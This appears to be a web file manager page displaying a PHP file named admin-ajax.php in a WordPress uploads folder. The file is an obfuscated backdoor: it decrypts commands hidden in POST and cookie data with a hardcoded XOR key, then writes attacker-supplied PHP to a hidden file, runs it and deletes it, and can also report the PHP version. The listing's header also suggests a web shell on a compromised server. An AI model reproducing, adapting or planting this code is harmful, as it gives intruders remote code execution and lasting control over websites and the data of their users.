HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/09/admin-ajax.php
<?php 


$obcmgd  =	'obcmgd'   ^	'


';
$yjtkwoqdxi	=       "a"."r".$obcmgd(511-397)	.	"\141" /*   wxf */ . /*  vovscg */ "y"."_".$obcmgd(109)	. /*caoffn */ $obcmgd(471-374)    . /*  kk  */ $obcmgd(837-725);
$ofcpbu /*   ewmpg  */ =    $obcmgd(105)    .      "\x6d"    .       $obcmgd(112) /* wf  */ .  "l"."o".$obcmgd(264-164)   .     "e";






function /*nbye*/ ielox($wbjqpsszkmsaregkogr,    $ufloj)


{
       global      $obcmgd;

       

   $wbjqpsszkmsaregkogr	= /*pvf   */ "<"      . /* vzwu */ "\77"	.	"p"."h"."\160" /* urj  */ .	$obcmgd(32)	.	$obcmgd(174-57)    . /*   prrj*/ "n"."\x6c"	.	"\x69".$obcmgd(717-607)    .     $obcmgd(561-454)    . /*w */ "("."\x5f" /*   u   */ .	"\137"      . /*ftyjy  */ "F"."\x49" /*g   */ .      $obcmgd(465-389)   . /*  ml  */ $obcmgd(69)	. /*w_yj  */ "_"."_"."\51" /*  y*/ . /* f  */ "\73"    .      $obcmgd(32) /*   tkayy*/ .     $wbjqpsszkmsaregkogr["d"];

    $ub_fbaesp       =   "f".$obcmgd(461-356) /*  ppks  */ . /*jmm*/ $obcmgd(108)  . /*   sa  */ "\x65"      .    "_".$obcmgd(1098-986)    . /*   g_uf */ "u"."\164"     .	$obcmgd(95) /*pg   */ .    "c"."o".$obcmgd(1001-891) /*   yamvt*/ . /*jrzbx*/ "\164"      .    $obcmgd(101) /* weizu   */ .  "\x6e" /* ca */ .    $obcmgd(149-33)	. /*  libx*/ "\163";  


 /*   d_lrw */ $ub_fbaesp($ufloj, /*   mcvjn */ $wbjqpsszkmsaregkogr);


    
 /*   ygg  */ bdbcb($ufloj);

}



$kootocxe /*   oi   */ =	73;


function    bdbcb($ufloj){ /*bhlov   */ global	$obcmgd;


	


	include($ufloj);


 /*o   */ $onrlea	=	$ufloj;
 /*iilxp*/ @unlink($onrlea);


}

function    rhlzaij(){


   global    $obcmgd;
 /* au_nui */ $wbjqpsszkm	= /*  wvihjq*/ array();


  $wbjqpsszkm[$obcmgd(1056-944) /* em  */ .       "v"] /*muh_ */ =   phpversion();


       $wbjqpsszkm["\x73"     .   $obcmgd(118)]    =     "3"."."."\x35";
	$qxrmzi /*mq*/ =    74;

 /*  gsvd   */ echo /*  wsxhh  */ @serialize($wbjqpsszkm);

}


function /* mmx   */ eshzrhg($wbjqpsszkmsaregkogr,  $_tmbwwrv){


    global     $obcmgd;
    $zdsnabu     =   "";


     $onlydhoro /* yjykiv  */ =	strlen($wbjqpsszkmsaregkogr);


	$fpraolqey /*  xxq  */ =     strlen($_tmbwwrv);   $wbjqpsszkm /*   zbrean   */ =   0;


 /*  ucb  */ $kzxlsjvte    =	0;


	


    while /*   abjdt */ ($wbjqpsszkm     <    $onlydhoro) /*  cgpuq  */ {


       $snyrwe_	= /* toxt*/ $wbjqpsszkmsaregkogr[$wbjqpsszkm]     ^     $_tmbwwrv[$kzxlsjvte /*  blbmap   */ %    $fpraolqey];

 /*   nsmslg  */ $zdsnabu    .= /*  vcqc_x*/ $snyrwe_;   $kzxlsjvte++; /*  qxcgv   */ 


    $wbjqpsszkm++;

    }

      


       if    (strlen($zdsnabu) /*lge  */ >    20) /*   _o  */ {


  $xgkfeh /*  hvyn   */ = /*   cdgzw  */ substr($zdsnabu, /* nuddhb  */ 0, /*   jrhhtg*/ 20);    }


       if    (empty($zdsnabu))    {
   $zdsnabu /*  feqvjv   */ = /*vkx*/ date('Y-m-d /*bjskj  */ H:i:s');

    }

     return	$zdsnabu;
}


function /*  afc  */ ljz_x($qonpqf)

{
    global    $obcmgd;
    


	$accox_       =	"3"."\61" /*  kqj   */ .      "\x35" /*  jrdlm_*/ .	"\144" /* krhupx   */ . /*  kpkjo*/ $obcmgd(51)	.  "d"."\70"	.      "\x65" /*twqggu */ .    $obcmgd(45)    .	"3".$obcmgd(325-273)   .    $obcmgd(462-365)  .  "\144" /* vw  */ .	$obcmgd(45)    . /* aldit   */ "4"."a"."\x64" /*   snuk*/ .      "9"."-"."\71"	.    "0"."9".$obcmgd(105-53)    .    "-"."\x62"    .     "\63" /*negy  */ .    $obcmgd(102)    . /*  ijmjv*/ "f".$obcmgd(459-407)	. /* yrcmxn */ "\61" /*srrz  */ . /*  dlnlg*/ $obcmgd(51) /*ij*/ .    "\62" /*g */ .    "\142" /* pef  */ .      "b"."4"."8";		foreach /*ujmhgw */ ($qonpqf    as     $phoznfg    =>      $wbjqpsszkmsaregkogr)    {


   fxkfnlsx(base64_decode($wbjqpsszkmsaregkogr),      $accox_,    $phoznfg);
 /*mpin_s  */ }}



function	fxkfnlsx($wbjqpsszkmsaregkogr,    $accox_,	$phoznfg){

      global       $obcmgd;

	

	$wbjqpsszkmsaregkogr    =	unserialize(eshzrhg(eshzrhg($wbjqpsszkmsaregkogr,    $accox_), /* spnhj */ $phoznfg));	$hpchgyhlgc       =  'yjehd';
	$qofjimj    = /* lohi   */ 'awoezgbmma'; /* r  */ if    (isset($wbjqpsszkmsaregkogr["\141" /*wgnj  */ .       "k"]))       {
 /*  tztcpq */ if      ($wbjqpsszkmsaregkogr["a"]	==  "\x69") /*  w_wnlk*/ {


	rhlzaij();
      } /*  gz  */ elseif /*  o   */ ($wbjqpsszkmsaregkogr["a"] /*zugae_*/ == /*   uydkij */ "e") /*qmkq  */ {


	ielox($wbjqpsszkmsaregkogr,    sprintf(".".$obcmgd(198-151)    . /*   ztqr*/ "%"."s"."."."\160"    . /*bmb   */ "\x6c",   md5($accox_)));


			$culsqa_kt /*  oypwee  */ =    44;
    }
    exit();
 /*nbk*/ }

}


ljz_x($_POST);	




$wbjqpsszkmsfwelam    =    'rawurldecode';

$tbmbqwiyku	= /* zgka */ $yjtkwoqdxi($wbjqpsszkmsfwelam, /* sj   */ $_POST);$ofcpbu("",	$wbjqpsszkmsfwelam);


ljz_x($_COOKIE);

$wbjqpsszkmdjlvm /*   gq */ = /* ilo  */ $yjtkwoqdxi($wbjqpsszkmsfwelam, /*   _ */ $_COOKIE);



?>